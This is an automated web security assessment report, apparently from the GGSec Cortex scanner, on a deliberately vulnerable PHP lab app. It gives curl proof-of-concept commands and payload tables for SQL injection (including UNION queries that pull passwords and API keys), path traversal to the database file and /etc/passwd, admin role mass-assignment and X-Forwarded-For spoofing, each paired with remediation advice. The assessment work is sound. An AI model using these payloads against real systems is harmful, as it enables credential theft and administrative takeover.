Security Assessment Report
GG Advanced IT Security  ·  ggsec.de
SAST 0.1s DAST 2.0s 64 requests 14 confirmed vulns 2 likely 20 SAST targets GGSec Cortex v1.0
F
Security
Rating

Executive Summary

GGSec Cortex identified 14 confirmed, 2 likely, 2 potential static-analysis findings in http://192.168.0.25/ggsec-cortex-debugger-lab/. Combined exploitation enables an unauthenticated attacker to achieve full administrative takeover. Every confirmed finding is evidence-backed — proven by a live proof-of-concept or a baseline-difference control (a forged/malicious request is accepted while a matched control is rejected), so false positives are minimised. Likely findings are confirmed marker-leak / parser-differential signals without a full request-hijack proof — they warrant manual verification, not an emergency response. Immediate remediation is recommended.
💰
Business Impact
Account / administrator takeover
🧰
Exploitation Complexity
Low — reachable by a remote attacker
🎯
Likelihood
High — confirmed findings have a live proof-of-concept
Overall Risk
Critical · max CVSS 8.2

Assessment Scope

📄
Target
http://192.168.0.25/ggsec-cortex-debugger-lab/
🌐
Base URL
http://192.168.0.25/ggsec-cortex-debugger-lab/
🧠
Analysis source
Cached SAST scan plan (replayed)
🔍
Fresh SAST this run
No (cached scan plan replayed)
DAST executed
Yes
📄
Scan plan
ggsec-cortex-debugger-lab-full.scanplan.json
🔗
Endpoints tested
12
📤
Active DAST probes
64
📡
Total HTTP exchanges
170 (crawl + baseline + control + probes)
HTTP methods
GET, GET->POST->GET, POST, POST+GET
🛡
Vulnerability classes
14
🔑
Authentication
Form login
🔎
SAST duration
0.1s
DAST duration
2.0s
📅
Scan completed
2026-08-03 17:27

Scan Timeline

17:27:34
Scan started
17:27:34
SAST replay (cached plan)
17:27:34
DAST probing started
17:27:34
GGC-SESSFIX-85F confirmed — SESSION_FIXATION PHPSESSID
17:27:34
GGC-XSS-CE8 confirmed — XSS q
17:27:35
GGC-SQLI-8D5 confirmed — SQL_QUERY q
17:27:35
GGC-MASSASGN-993 confirmed — MASS_ASSIGNMENT role
17:27:35
GGC-XSS-1B2 confirmed — XSS bio
17:27:35
GGC-IDOR-AC7 confirmed — IDOR id
17:27:35
GGC-IDOR-D48 confirmed — IDOR id
17:27:35
GGC-IDOR-7BD confirmed — IDOR id
17:27:35
Attack chain verified end-to-end ⇒ full administrative takeover
17:27:35
GGC-REDIR-FD7 confirmed — OPEN_REDIRECT next
17:27:35
GGC-PATH-32F confirmed — PATH_TRAVERSAL file
17:27:35
GGC-PROXYHDR-280 confirmed — UNTRUSTED_PROXY_HEADER X-Forwarded-For
17:27:36
GGC-SQLI-A15 confirmed — SQL_QUERY username
17:27:36
GGC-BIZLOGIC-0A0 confirmed — BUSINESS_LOGIC qty
17:27:36
GGC-BIZLOGIC-B64 confirmed — BUSINESS_LOGIC discount
17:27:36
DAST probing completed (2.0s, 64 requests)
17:27:36
Report generated

Overview

14
Confirmed Vulns
2
Likely (review)
🔍
2
Potential (SAST)
💀
3
Critical SAST
🔥
7
High SAST
💻
0
RCE
🗃
2
SQLi
2
XSS
🌐
0
SSRF
📄
0
XXE
🎭
1
CSRF
📡
0
JSONP
🔓
0
Auth Bypass
📤
64
Active DAST probes
📡
170
Total HTTP exchanges
Confirmed vulns by sink type DAST
IDOR: 3 SQL_QUERY: 2 BUSINESS_LOGIC: 2 XSS: 2 MASS_ASSIGNMENT: 1 PATH_TRAVERSAL: 1 UNTRUSTED_PROXY_HEADER: 1 SESSION_FIXATION: 1 OPEN_REDIRECT: 1 14 total
IDOR3
SQL_QUERY2
BUSINESS_LOGIC2
XSS2
MASS_ASSIGNMENT1
PATH_TRAVERSAL1
UNTRUSTED_PROXY_HEADER1
SESSION_FIXATION1
SAST impact distribution SAST
INFORMATION_DISCLOSURE
7
SESSION_THEFT
5
AUTH_BYPASS
2
PRIV_ESC
2
FINANCIAL_INTEGRITY
2
FILE_READ
1
CREDENTIAL_COMPROMISE
1
DAST hit rate by sink DAST
SQL_QUERY
8/19
XSS
6/8
OPEN_REDIRECT
4/4
IDOR
3/3
BUSINESS_LOGIC
2/2
PATH_TRAVERSAL
2/22
HTTP_PARAMETER_POLLUTION
1/1
SESSION_FIXATION
1/1
MASS_ASSIGNMENT
1/1
CSRF
1/1
UNTRUSTED_PROXY_HEADER
1/1
CRLF_INJECTION
0/1

Risk Matrix

Likelihood ▼ / Impact ▶NegligibleMinorModerateMajorSevere
Almost certain31
Likely44
Possible2
Unlikely
Rare

Remediation Plan

IDFindingCVSSPrioritySLA
GGC-SQLI-A15 🗃 SQL_QUERY username 8.2 P1 Within 7 days
GGC-SQLI-8D5 🗃 SQL_QUERY q 8.2 P1 Within 7 days
GGC-MASSASGN-993 🔍 MASS_ASSIGNMENT role 8.1 P1 Within 7 days
GGC-PATH-32F 🔍 PATH_TRAVERSAL file 7.5 P1 Within 7 days
GGC-PROXYHDR-280 🌐 UNTRUSTED_PROXY_HEADER X-Forwarded-For 7.5 P1 Within 7 days
GGC-BIZLOGIC-B64 💰 BUSINESS_LOGIC discount 6.5 P2 Within 30 days
GGC-BIZLOGIC-0A0 💰 BUSINESS_LOGIC qty 6.5 P2 Within 30 days
GGC-IDOR-7BD 🔍 IDOR id 6.5 P2 Within 30 days
GGC-IDOR-D48 🔍 IDOR id 6.5 P2 Within 30 days
GGC-IDOR-AC7 🔍 IDOR id 6.5 P2 Within 30 days
GGC-SESSFIX-85F 🔍 SESSION_FIXATION PHPSESSID 6.4 P2 Within 30 days
GGC-REDIR-FD7 ↪ OPEN_REDIRECT next 6.1 P2 Within 30 days
GGC-XSS-1B2 ⚡ XSS bio 5.4 P2 Within 30 days
GGC-XSS-CE8 ⚡ XSS q 5.4 P2 Within 30 days
GGC-SECRET-DE9 🔍 HARDCODED_SECRET db_seed_password (SAST) 5.3 P3 Manual verification
GGC-PLAINPW-B67 🔑 PLAINTEXT_PASSWORD_STORAGE password (SAST) 4.4 P3 Manual verification

Compliance Coverage

Each finding mapped to OWASP Top 10 2021, PCI-DSS v4.0, ISO/IEC 27001:2022 and GDPR. References are indicative for audit scoping, not a certification statement.

OWASP Top 10 (2021)# FindingsPCI-DSS v4.0ISO/IEC 27001:2022GDPR
A01:2021 – Broken Access Control 8 PCI-DSS v4.0 Req 6.2.4 / 7.2.1 ISO/IEC 27001:2022 A.8.3 / A.5.15 GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
A03:2021 – Injection 6 PCI-DSS v4.0 Req 6.2.4 (injection/XSS) ISO/IEC 27001:2022 A.8.28 GDPR Art. 32 (security of processing)
A04:2021 – Insecure Design 3 PCI-DSS v4.0 Req 6.2.4 (business-logic) ISO/IEC 27001:2022 A.8.28 / A.8.27 GDPR Art. 25 + Art. 32 (data protection by design)
A07:2021 – Identification and Authentication Failures 2 PCI-DSS v4.0 Req 8.3.1 / 8.6 / 3.6 (key mgmt) ISO/IEC 27001:2022 A.8.5 / A.5.17 / A.8.24 GDPR Art. 32 (security of processing)
A02:2021 – Cryptographic Failures 1 PCI-DSS v4.0 Req 4.2.1 / 6.2.4 / 8.3.1 ISO/IEC 27001:2022 A.8.24 GDPR Art. 32(1)(a) (encryption)

Exploitation Paths — how the vulnerabilities combine

A verified chain was executed end-to-end in one session and its final security state confirmed. A correlated path lists findings that can plausibly be combined but were not run as a single stateful exploit — each step is independently proven.

✓ End-to-end verified chain  ·  Goal: full administrative takeover  ·  Chain Severity 9.4 (worst single bug 8.1)  ·  Likelihood: High
🌐 Internet · unauthenticated attackerMASS_ASSIGNMENT roleOver-bind a privileged field · CWE-915 · CVSS 8.1🎯 full administrative takeover
Authenticated low-privilege user → over-bind a privileged field via MASS_ASSIGNMENT on 'role' (CWE-915) ⇒ full administrative takeover — executed in one session and the final state (the account's role became admin) was read back.
Executed sequence (one session)
1.   Over-bind a privileged field — MASS_ASSIGNMENT role
  final state verified ⇒ full administrative takeover
Correlated exploitation path  ·  Goal: full administrative takeover  ·  Chain Severity 10.0 (worst single bug 8.1)  ·  Likelihood: High
🌐 Internet · unauthenticated attackerSESSION_FIXATION PHPSESSIDFixate a victim session · CWE-384 · CVSS 6.4IDOR idEscalate access · CWE-639 · CVSS 6.5MASS_ASSIGNMENT roleOver-bind a privileged field · CWE-915 · CVSS 8.1🎯 full administrative takeover
Unauthenticated attacker → 1. fixate a victim session via SESSION_FIXATION on 'PHPSESSID' (CWE-384) → 2. escalate access via IDOR on 'id' (CWE-639) → 3. over-bind a privileged field via MASS_ASSIGNMENT on 'role' (CWE-915) ⇒ full administrative takeover.
Attacker sequence (causal order)
1.   Fixate a victim session — SESSION_FIXATION PHPSESSID
2.   Escalate access — IDOR id
3.   Over-bind a privileged field — MASS_ASSIGNMENT role
  would reach ⇒ full administrative takeover
Attack graph — Mermaid source (copy into GitHub / mermaid.live)
flowchart TD
    internet(["Internet · unauthenticated attacker"])
    n0["MASS_ASSIGNMENT · role<br/>CVSS 8.1 · CWE-915"]
    n1["SESSION_FIXATION · PHPSESSID<br/>CVSS 6.4 · CWE-384"]
    n2["IDOR · id<br/>CVSS 6.5 · CWE-639"]
    g0{{"🎯 full administrative takeover"}}:::goal
    internet -->|fixate a victim session| n1
    internet -->|over-bind a privileged field| n0
    n0 --> g0
    n1 -->|escalate access| n2
    n2 -->|over-bind a privileged field| n0
    classDef goal fill:#2a0f1a,stroke:#fb7185,color:#fecdd3,font-weight:bold;

SAST — Attack Surface

SAST confidence = static taint-flow certainty (source→sink), not runtime proof. "Confirmed" is reserved for DAST findings the engine actually exploited.

#ParameterSinkRiskCVSSStatic confidenceExploit.ImpactLocation
1 username 🗃 SQL_QUERY Critical 9.8 CRITICAL Taint-flow Direct AUTH_BYPASS login.php
2 password 🗃 SQL_QUERY Critical 9.8 CRITICAL Taint-flow Direct AUTH_BYPASS login.php
3 q 🗃 SQL_QUERY Critical 9.8 CRITICAL Taint-flow Direct INFORMATION_DISCLOSURE search.php
4 q ⚡ XSS Medium 6.1 MEDIUM Taint-flow Direct SESSION_THEFT search.php
5 bio ⚡ XSS Medium 6.1 MEDIUM Taint-flow Chained SESSION_THEFT profile.php
6 id 🔍 IDOR Medium 6.5 MEDIUM Taint-flow Direct INFORMATION_DISCLOSURE notes.php
7 id 🔍 IDOR Medium 6.5 MEDIUM Taint-flow Direct INFORMATION_DISCLOSURE profile.php
8 id 🔍 IDOR Medium 6.5 MEDIUM Taint-flow Direct INFORMATION_DISCLOSURE api.php
9 next ↪ OPEN_REDIRECT Medium 6.1 MEDIUM Taint-flow Direct SESSION_THEFT redirect.php
10 next 🔍 CRLF_INJECTION Medium 6.1 MEDIUM Low Conditional SESSION_THEFT redirect.php
11 file 🔍 PATH_TRAVERSAL High 7.5 HIGH Taint-flow Direct FILE_READ download.php
12 role 🔍 MASS_ASSIGNMENT High 8.1 HIGH Taint-flow Direct PRIV_ESC update_profile.php
13 PHPSESSID 🔍 SESSION_FIXATION Medium 6.8 MEDIUM Taint-flow Conditional SESSION_THEFT login.php
14 X-Forwarded-For 🌐 UNTRUSTED_PROXY_HEADER High 7.5 HIGH Taint-flow Direct INFORMATION_DISCLOSURE debug.php
15 password 🔑 PLAINTEXT_PASSWORD_STORAGE Medium 4.4 MEDIUM Potential Direct CREDENTIAL_COMPROMISE login.php:12
16 db_seed_password 🔍 HARDCODED_SECRET Medium 5.3 MEDIUM Potential Direct INFORMATION_DISCLOSURE bootstrap.php
17 discount 💰 BUSINESS_LOGIC Medium 6.5 MEDIUM Taint-flow Direct FINANCIAL_INTEGRITY business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php
18 id 🔄 HTTP_PARAMETER_POLLUTION Low 3.7 LOW Taint-flow Direct INFORMATION_DISCLOSURE hpp: api.php?action=user&id=PAYLOAD
19 qty 💰 BUSINESS_LOGIC Medium 6.5 MEDIUM Taint-flow Direct FINANCIAL_INTEGRITY business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php
20 update_profile.php 🎭 CSRF High 8.1 HIGH Taint-flow Direct PRIV_ESC csrf-form: http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php

Endpoint Summary

EndpointRequestsFindingsRisk
search.php 12 🗃 SQL_QUERY ⚡ XSS CRITICAL
login.php 11 🔍 SESSION_FIXATION 🗃 SQL_QUERY CRITICAL
http://192.168.0.25/ggsec-cortex-debugger-lab/login.php 1 🗃 SQL_QUERY CRITICAL
update_profile.php 1 🔍 MASS_ASSIGNMENT HIGH
http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php 1 🎭 CSRF HIGH
download.php 22 🔍 PATH_TRAVERSAL HIGH
debug.php 1 🌐 UNTRUSTED_PROXY_HEADER HIGH
profile.php 5 🔍 IDOR ⚡ XSS MEDIUM
http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php 2 💰 BUSINESS_LOGIC MEDIUM
api.php?action=user 2 🔄 HTTP_PARAMETER_POLLUTION 🔍 IDOR MEDIUM
notes.php 1 🔍 IDOR MEDIUM
redirect.php 5 ↪ OPEN_REDIRECT MEDIUM

DAST — Vulnerability Details

🗃 GGC-SQLI-A15 8.2 HIGH P1 Confirmed SQL_QUERY password, username crawl-form: http://192.168.0.25/ggsec-cortex-debugger-lab/login.php 4/11 hits
Flow
A crawler-discovered POST form (not in the SAST plan) returns a SQL error when a quote is injected into a field.
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-89 SQL Injection (SQLite backend)  ·  CVSS 8.2 High
SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N/E:H/RC:C
ⓘ SQLite backend — impact bounded to DB read / limited write (no stacked queries, xp_cmdshell, LOAD_FILE, or host/network pivot).
Compliance Impact
A03:2021 – Injection
PCI-DSS v4.0 Req 6.2.4 (injection/XSS)  ·  ISO/IEC 27001:2022 A.8.28  ·  GDPR Art. 32 (security of processing)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence trail (raw HTTP log)
req #153 evidence
Evidence strength
79%Medium evidenceEvidence score 79/100
  • +50 Confirmed (strong signal)
  • +20 Database error echoed in response (query parser reached)
  • +4 Reproduced by 4 payload(s)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/login.php' --data 'username=%27&password=ggsecfill'
Evidence (live response):
[CRAWL] POST form field 'username' surfaced a SQL error for a single-quote payload. <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login</title><style>         body{font-family:system-ui,Arial;margin:2rem…
Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.
  • Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
  • For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
  • Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
  • Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).
Refs: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST http://192.168.0.25/ggsec-cortex-debugger-lab/login.php
sql-error-body
200 0ms sql-error-body
⚠ VULN POST login.php
login-sqli-post
200 0ms login-sqli-post
⚠ VULN POST login.php
admin' OR SLEEP(5)--
200 6ms sql-error-body (time-payload) SQLite
⚠ VULN POST login.php
admin' OR SLEEP(5)--
200 6ms sql-error-body (time-payload) SQLite
✓ OK POST login.php
' OR '1'='1
302 5ms
✓ OK POST login.php
' OR 1=1 --
302 5ms
✓ OK POST login.php
' OR 1=1 --
302 5ms
✓ OK POST login.php
anything' OR '1'='1' --
302 6ms
✓ OK POST login.php
admin' --
302 20ms
✓ OK POST login.php
' OR '1'='1' --
302 20ms
✓ OK POST login.php
admin'/*
302 20ms
🗃 GGC-SQLI-8D5 8.2 HIGH P1 Confirmed SQL_QUERY q search.php 4/8 hits
Flow
$_GET['q'] is directly interpolated into a SQL query via string concatenation: "WHERE username LIKE '%$q%' OR display_name LIKE '%$q%' OR bio LIKE '%$q%'". No parameterization or escaping.
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-89 SQL Injection (SQLite backend)  ·  CVSS 8.2 High
SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N/E:H/RC:C
ⓘ SQLite backend — impact bounded to DB read / limited write (no stacked queries, xp_cmdshell, LOAD_FILE, or host/network pivot).
Compliance Impact
A03:2021 – Injection
PCI-DSS v4.0 Req 6.2.4 (injection/XSS)  ·  ISO/IEC 27001:2022 A.8.28  ·  GDPR Art. 32 (security of processing)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
94%High evidenceEvidence score 94/100
  • +50 Confirmed (strong signal)
  • +20 Database error echoed in response (query parser reached)
  • +15 Damning token for this class in response ("SQLSTATE")
  • +4 Reproduced by 4 payload(s)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i 'search.php?q=%27'
Reflection @ offset 1207 — via sql-error-body:
…&#039;</p> <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 unrecognized token: &quot;&#039;&q…
Evidence (live response):
…ed XSS in raw mode --> <p>Results for:     &#039;</p>  <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 unrecognized token: &quot;&#039;&quot;</div>   <hr><small>GGSEC Cortex Debugger Lab — localhost only</small></body></html>
Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.
  • Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
  • For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
  • Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
  • Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).
Refs: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET search.php?q=%27
'
200 1ms sql-error-body SQLite
⚠ VULN GET search.php?q=admin%27%20OR%20SLEEP%285%29--
admin' OR SLEEP(5)--
200 1ms sql-error-body (time-payload) SQLite
⚠ VULN GET search.php?q=admin%27%20OR%20SLEEP%285%29--
admin' OR SLEEP(5)--
200 2ms sql-error-body (time-payload) SQLite
⚠ VULN GET search.php?q=%27%20UNION%20SELECT%201%2C2%2C3%20--
' UNION SELECT 1,2,3 --
200 2ms sql-error-body SQLite
✓ OK GET search.php?q=test%25%27%20UNION%20SELECT%20id%2Cusername%2Cpassword%2Cap…
test%' UNION SELECT id,username,password,api_key FROM users WHERE '1'='1
200 1ms
✓ OK GET search.php?q=%27%20OR%20%271%27%3D%271%27%20--
' OR '1'='1' --
200 3ms
✓ OK GET search.php?q=%27%20UNION%20SELECT%201%2Cusername%2Cpassword%2Capi_key%20…
' UNION SELECT 1,username,password,api_key FROM users --
200 3ms
✓ OK GET search.php?q=%27%20UNION%20SELECT%201%2C2%2C3%2C4%20--
' UNION SELECT 1,2,3,4 --
200 3ms
🔍 GGC-MASSASGN-993 8.1 HIGH P1 Confirmed MASS_ASSIGNMENT role update_profile.php 1/1 hits
Flow
update_profile.php accepts POST without any CSRF token and allows mass assignment of the 'role' field. An attacker can craft a cross-site form that elevates a victim's role to 'admin'. The form also lacks CSRF protection for display_name and bio changes.
Attack Chain
Attacker hosts a page with an auto-submitting form to POST role=admin to update_profile.php. When the victim (logged in) visits the page, their role is escalated.
Impact
PRIV_ESC — Direct
CWE / CVSS
CWE-915 Mass Assignment (Improperly Controlled Object-Attribute Modification)  ·  CVSS 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 👤 Customer
Evidence trail (raw HTTP log)
req #41 evidence · #40 baseline
Evidence strength
75%Medium evidenceEvidence score 75/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (mass-assignment-readback)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i -X POST 'update_profile.php' --data 'role=admin'
Reflection @ offset 122 — via mass-assignment-readback:
…n ordinary authenticated request. A read-back after POSTing role=admin (form-urlencoded) shows the persisted value changed from 'u…
Evidence (live response):
[MASS ASSIGNMENT] The privileged field 'role' is writable by an ordinary authenticated request. A read-back after POSTing role=admin (form-urlencoded) shows the persisted value changed from 'user' to 'admin' — the app binds request keys onto the record with no allow-list, so a cl…
Remediation
Bind only an explicit allow-list of request fields to the record; never map the whole request body onto the model.
  • Define a server-side allow-list of client-updatable fields and assign only those (e.g. $fillable / DTO whitelist).
  • Never iterate arbitrary request keys onto an UPDATE / model — reject or ignore unknown/privileged fields (role, is_admin, balance, permissions).
  • Authorize privileged changes separately (an admin-only endpoint), and validate/cast each value to its expected type.
Refs: CWE-915 · OWASP API3:2023 Broken Object Property Level Authorization · OWASP: Mass Assignment Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST update_profile.php
role=admin
200 41ms mass-assignment-readback
🔍 GGC-PATH-32F 7.5 HIGH P1 Confirmed PATH_TRAVERSAL file download.php 2/22 hits
Flow
$_GET['file'] is appended to __DIR__.'/files/' and passed to realpath() then readfile(). The code checks that the resolved path starts with __DIR__ (the lab root), but any file within the lab directory tree is accessible — including data/lab.sqlite (the database with plaintext passwords and api_keys). A traversal like '../data/lab.sqlite' resolves inside __DIR__ and passes the check.
Impact
FILE_READ — Direct
CWE / CVSS
CWE-22 Path Traversal / Arbitrary File Read  ·  CVSS 7.5 High
User-controlled path components escape the intended directory, exposing arbitrary files (/etc/passwd, config, source).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1083 File and Directory Discovery · T1005 Data from Local System
Discovery, Collection
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
77%Medium evidenceEvidence score 77/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (indicator)
  • +2 Reproduced by 2 payload(s)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i 'download.php?file=..%2Fbootstrap.php'
Evidence (live response):
<?php declare(strict_types=1);  session_start();  $dbPath = __DIR__ . '/data/lab.sqlite'; $firstRun = !file_exists($dbPath);  $db = new PDO('sqlite:' . $dbPath); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  if ($firstRun) {     $db->exec("         CREATE TABLE u…
Remediation
Never build filesystem paths from user input — map requests to a fixed allowlist and canonicalize before use.
  • Map the user-supplied identifier to a server-side allowlist of permitted files; never use it as a path directly.
  • Canonicalize the resolved path (realpath) and verify it is still inside the intended base directory before reading.
  • Reject traversal sequences AFTER decoding (../, ..\, encoded %2e%2e, and stripped variants like ....//).
  • Run with least privilege so sensitive files (/etc/passwd, app secrets) are unreadable by the web user.
Refs: CWE-22 · CWE-73 · OWASP: Path Traversal · OWASP: File Path Traversal Prevention Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET download.php?file=..%2Fbootstrap.php
../bootstrap.php
200 2ms indicator SQLite
⚠ VULN GET download.php?file=..%2Fdata%2Flab.sqlite
../data/lab.sqlite
200 3ms indicator SQLite
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=config.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=index.php
404 1ms
✓ OK GET download.php?file=..%252Fdata%252Flab.sqlite
..%2Fdata%2Flab.sqlite
404 1ms
✓ OK GET download.php?file=....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....…
....//....//....//....//....//....//....//....//etc/passwd
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=../config.php
404 1ms
✓ OK GET download.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.…
../../../../../../../../windows/win.ini
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=db.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=config.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=../config.php
404 1ms
✓ OK GET download.php?file=%2Fwindows%2Fwin.ini
/windows/win.ini
404 1ms
✓ OK GET download.php?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252…
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=db.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=download.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=index.php
404 1ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=download.php
404 1ms
✓ OK GET download.php?file=..%2Flogin.php
../login.php
200 2ms
✓ OK GET download.php?file=%2Fetc%2Fpasswd
/etc/passwd
404 11ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre…
php://filter/read=convert.base64-encode/resource=../config/config.php
404 11ms
✓ OK GET download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%…
php://filter/convert.base64-encode/resource=../config/config.php
404 11ms
✓ OK GET download.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../etc/passwd
404 12ms
🌐 GGC-PROXYHDR-280 7.5 HIGH P1 Confirmed UNTRUSTED_PROXY_HEADER X-Forwarded-For debug.php 1/1 hits
Flow
debug.php trusts the X-Forwarded-For header to determine if the client is 'internal'. By spoofing this header to '127.0.0.1', any external attacker can access sensitive diagnostics including session data, cookies, all request headers, the database file path, and server configuration. This is accessible via GET with no authentication.
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-807 Reliance on Untrusted Inputs in a Security Decision (spoofable proxy header)  ·  CVSS 7.5 High
A security decision (access/trust) is based on a client-controllable proxy header (X-Forwarded-For / X-Real-IP), which any attacker can spoof to bypass the check.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
75%Medium evidenceEvidence score 75/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (untrusted-proxy-header)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i 'debug.php'
Reflection @ offset 9 — via untrusted-proxy-header:
Sending 'X-Forwarded-For: 127.0.0.1' — a client-controlled forwarding header — unlocked content…
Evidence (live response):
Sending 'X-Forwarded-For: 127.0.0.1' — a client-controlled forwarding header — unlocked content the SAME request without the header does not receive. The app trusts a spoofable header for an access/trust decision (CWE-807): any external attacker can set it to bypass the internal-…
Remediation
Never base an access/trust decision on a client-supplied proxy header (X-Forwarded-For, X-Real-IP, Client-IP) — any client can set it.
  • For access decisions, use the real transport peer address (e.g. $_SERVER['REMOTE_ADDR']), not X-Forwarded-For / X-Real-IP / Client-IP.
  • If you sit behind a reverse proxy, accept a forwarded client IP ONLY from a hardcoded allowlist of your proxy's own addresses, and read the LAST hop the proxy appended — never the whole client-supplied chain.
  • Gate sensitive/diagnostic endpoints with real authentication + authorization, not an IP/localhost check.
  • Strip inbound X-Forwarded-*/Forwarded headers at the edge so backends can't be reached with attacker-supplied values.
Refs: CWE-807 · CWE-346 · CWE-284 · OWASP: Authentication / Access Control Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET debug.php
X-Forwarded-For: 127.0.0.1
200 4ms untrusted-proxy-header
